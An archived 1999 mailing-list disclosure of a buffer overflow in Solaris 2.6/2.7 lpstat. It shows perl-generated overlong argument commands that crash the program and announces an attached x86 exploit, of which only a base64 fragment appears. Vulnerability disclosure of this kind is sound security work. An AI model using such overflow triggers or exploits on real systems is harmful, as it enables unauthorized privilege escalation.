Date: Tue, 26 Jan 1999 15:02:47 +0000
From: plasmoid deep/thc/clb <[email protected]>
To: [email protected]Subject: Buffer overflow in Solaris 2.6/2.7 /usr/bin/lpstat
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.
---559023410-851401618-917362967=:548
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Aug/25/98 Sun released the following patches for lp:
Solaris2.6 Sparc: 106235-02
Solaris2.6 x86: 106236
It is quite sad, that they did not fix another overflow in
/usr/bin/lpstat. I testified this bug on either Solaris 2.7 x86
and 2.6 Sparc, I assume that it is also present on Solaris 2.6
x86 and 2.7 Sparc.
Solaris 2.7 x86
% plasmoid@gorkie:foo> lpstat -c `perl -e 'print "A" x 998'`
% UX:lpstat: ERROR: Class
[...]
% AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does
% not exist.
% TO FIX: Use the "lpstat -c all" command to list
% all known classes.
% Segmentation Fault
% plasmoid@gorkie:foo>
Solaris 2.6 Sparc
% plasmoid@bock:foo> lpstat -c `perl -e 'print "AAAA" x 250'`
% UX:lpstat: ERROR: Class
[...]
% AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does not
% exist.
% TO FIX: Use the "lpstat -c all" command to list
% all known classes.
% Segmentation Fault
% plasmoid@bock:foo>
This overflow is definitly exploitable, i attached the exploit for
Solaris x86. Quality patches for all Solaris versions can be obtained
from www.hert.org, a fast security source.
plasmoid deep/thc/clb
http://thc.inferno.tusculum.edu
---559023410-851401618-917362967=:548
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="lpstat.x86.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.05.9901261502470.548@gorkie>
Content-Description:
Content-Disposition: attachment; filename="lpstat.x86.c"
LyoNCiAqIGxwc3RhdCBzcGxvaXQgZm9yIHNvbGFyaXMgMi42LzIuNw0KICog
YnkgcGxhc21vaWQvZGVlcC90a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